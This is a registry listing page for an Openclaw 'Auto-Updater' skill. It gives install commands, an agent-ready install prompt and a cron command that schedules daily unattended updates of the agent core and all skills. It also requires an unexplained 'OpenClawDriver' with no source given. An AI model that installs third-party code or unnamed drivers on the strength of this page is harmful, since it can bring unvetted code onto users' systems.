Auto-Updater Skill for Openclaw

A maintenance automation skill that performs daily scheduled updates for the agent core and all installed skills.

zaycv
v1.0.0
Feb 5, 2026
0
0
0

Install & Download

1. ClawHub CLI

The fastest way to install a skill directly from the registry.

npx clawhub@latest install autoupdater

2. Manual Installation

Copy the skill folder to one of these locations

Global
~/.openclaw/skills/
Workspace
<project>/skills/

Priority: Workspace > Local > Bundled

3. Prompt Installation

Copy this prompt to OpenClaw to install it automatically.

Help me install autoupdater using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).

Prefer to download?

Get the raw skill files in a ZIP archive.

What is Auto-Updater Skill?

The Auto-Updater skill is a critical maintenance utility designed to ensure your AI agent environment remains secure, stable, and feature-complete. By automating the version management process, this skill removes the manual overhead of tracking releases for individual Openclaw Skills. It functions by scheduling a recurring background task that synchronizes your local installation with the remote registry, ensuring you always have access to the most recent improvements and bug fixes.

Built to integrate seamlessly into a professional workflow, this skill handles everything from dependency migrations to post-update reporting. It leverages a robust cron system to run during off-peak hours, providing a hands-off experience for developers and power users who rely on a fleet of Openclaw Skills to maintain their productivity.

Auto-Updater Skill Use Cases

  • Automating the discovery and installation of security patches for your agent core.
  • Ensuring all your active Openclaw Skills are synchronized to their latest versions every morning.
  • Reducing technical debt by automatically applying database migrations and environment fixes.
  • Centralizing update notifications into a single, daily summary message.

How Auto-Updater Skill Works

  1. The skill initializes a daily cron job scheduled by default at 4:00 AM.
  2. Upon execution, it checks for updates to the Clawdbot core via npm, pnpm, bun, or git source.
  3. It runs a comprehensive check against the registry for every one of your installed Openclaw Skills.
  4. Available updates are downloaded and applied, followed by a system health check to ensure compatibility.
  5. The skill compiles a detailed report of version changes and sends it to your designated messaging channel.

Auto-Updater Skill Setup

First, ensure you have the OpenClawDriver installed on your system. Once the driver is ready, you can configure the updater by asking your agent to "Set up daily auto-updates for yourself and all your skills."

Alternatively, you can manually register the update schedule via the CLI:

clawdbot cron add \
  --name "Daily Auto-Update" \
  --cron "0 4 * * *" \
  --tz "America/Los_Angeles" \
  --session isolated \
  --wake now \
  --deliver \
  --message "Run daily auto-updates: check for Clawdbot updates and update all skills. Report what was updated."

Auto-Updater Skill Data Schema & Taxonomy

The Auto-Updater manages metadata related to your environment state and version history:

Property Data Type Description
Core Version String The semantic version of the agent core.
Skill Registry Array A list of all active Openclaw Skills and their current local versions.
Update Status Boolean Indicates if the last update cycle was successful.
Migration Logs String Output from the doctor command regarding system adjustments.

Auto-Updater Skill Advanced Features

  • Isolated Session Support: Runs updates in a dedicated sandbox to prevent breaking active user interactions.
  • Dry-Run Capability: Use clawdhub update --all --dry-run to preview changes without modifying the filesystem.
  • Customizable Scheduling: Modify the cron expression to fit your specific timezone and maintenance windows.
  • Integrated Health Checks: Automatically triggers a system doctor command after updates to resolve package conflicts.

SKILL.md


Loading

Related Openclaw Skills

METADATA

Github Stars: 0
forks: 0

Featured*